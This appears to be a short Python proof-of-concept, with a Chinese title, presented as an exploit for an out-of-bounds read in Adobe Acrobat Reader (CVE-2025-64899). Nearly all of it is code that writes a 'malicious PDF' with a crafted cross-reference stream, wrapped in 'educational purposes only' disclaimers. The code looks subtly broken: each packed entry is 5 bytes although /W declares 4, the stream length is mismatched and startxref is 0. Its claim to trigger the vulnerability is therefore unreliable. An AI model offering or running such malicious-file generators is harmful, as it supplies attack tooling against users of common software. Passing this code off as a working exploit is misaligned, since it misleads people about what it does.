Adobe Acrobat Reader越界读取漏洞 (CVE-2025-64899)

#!/usr/bin/env python3 """ CVE-2025-64899 PoC - Adobe Acrobat Reader Out-of-Bounds Read Note: This is a simplified demonstration code for educational purposes only. Do not use for malicious purposes. """ import struct import sys def create_malicious_pdf(): """ Generate a malicious PDF file that triggers OOB read in Adobe Acrobat Reader. The PoC exploits the vulnerability in PDF object parsing. """ # PDF header pdf_content = b'%PDF-1.7\n' # Malicious stream object that triggers OOB read # This exploits the vulnerability in cross-reference stream parsing malicious_obj = b'''1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (CVE-2025-64899 Test) Tj ET endstream endobj ''' pdf_content += malicious_obj # Malicious XRef stream with crafted size to trigger OOB xref_stream = b'''5 0 obj << /Type /XRef /Size 1000 /W [1 2 1] /Root 1 0 R /Length 50 >> stream ''' # Crafted cross-reference entries that cause OOB read # The /Size 1000 with malformed /W array can trigger boundary issues for i in range(200): xref_stream += struct.pack('>BI', 0, i * 100) + b'\x00' xref_stream += b''' endstream endobj ''' pdf_content += xref_stream pdf_content += b'\nstartxref\n0\n%%EOF\n' return pdf_content def main(): if len(sys.argv) < 2: print('Usage: python cve_2025_64899_poc.py <output.pdf>') print('This PoC generates a malicious PDF file for CVE-2025-64899') return output_file = sys.argv[1] pdf_data = create_malicious_pdf() with open(output_file, 'wb') as f: f.write(pdf_data) print(f'Malicious PDF created: {output_file}') print('WARNING: This file is for educational/testing purposes only!') if __name__ == '__main__': main()